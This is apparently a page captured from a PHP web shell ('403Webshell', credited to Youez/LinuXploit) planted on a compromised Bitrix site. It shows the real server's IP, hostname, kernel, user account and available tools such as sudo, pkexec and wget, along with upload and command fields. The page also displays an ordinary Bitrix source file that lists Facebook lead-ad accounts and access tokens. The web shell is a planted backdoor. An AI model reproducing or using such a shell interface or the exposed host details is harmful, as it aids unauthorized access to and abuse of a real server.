403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/seo/lib/leadads/services/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/seo/lib/leadads/services/accountfacebook.php
<?php

namespace Bitrix\Seo\LeadAds\Services;

use Bitrix\Seo\LeadAds\Account;
use Bitrix\Seo\LeadAds;
use Bitrix\Seo\Retargeting\Paginator;

class AccountFacebook extends Account
{
	public const TYPE_CODE = LeadAds\Service::TYPE_FACEBOOK;

	public const URL_ACCOUNT_LIST = 'https://www.facebook.com/bookmarks/pages';

	public const URL_INFO = 'https://www.facebook.com/business/a/lead-ads';

	protected static $listRowMap = array(
		'ID' => 'ID',
		'NAME' => 'NAME',
	);

	/**
	 * @return \Bitrix\Seo\Retargeting\Response|mixed|null
	 */
	public function getList()
	{
		$paginator = new Paginator(
			$this->getRequest(),
			[
				'methodName' => 'leadads.accounts.get',
				'parameters' => [
					'fields' => ['id','name','category','access_token','tasks'],
					"params" => [
						"limit" => 50
					]
				],
			]
		);

		$result = null;
		$data = [];

		foreach ($paginator as $request)
		{
			if (!$request->isSuccess())
			{
				return $request;
			}

			foreach ($request->getData() as $item)
			{
				if (array_intersect($item['tasks'] ?? [], ['MODERATE', 'CREATE_CONTENT', 'MANAGE']))
				{
					$data[] = $item;
				}
			}
			$result = $request;
		}

		!$result?:$result->setData($data);

		return $result;
	}

	/**
	 * @return array|null
	 * @throws \Bitrix\Main\SystemException
	 */
	public function getProfile(): ?array
	{
		$response = $this->getRequest()->send([
			'methodName' => 'leadads.profile.get',
			'parameters' => [
				'fields' => ['id','name','picture','link']
			]
		]);

		if ($response->isSuccess() && $data = $response->fetch())
		{

			return [
				'ID' => $data['ID'],
				'NAME' => $data['NAME'],
				'LINK' => $data['LINK'],
				'PICTURE' => $data['PICTURE'] ? $data['PICTURE']['data']['url'] : null,
			];
		}

		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit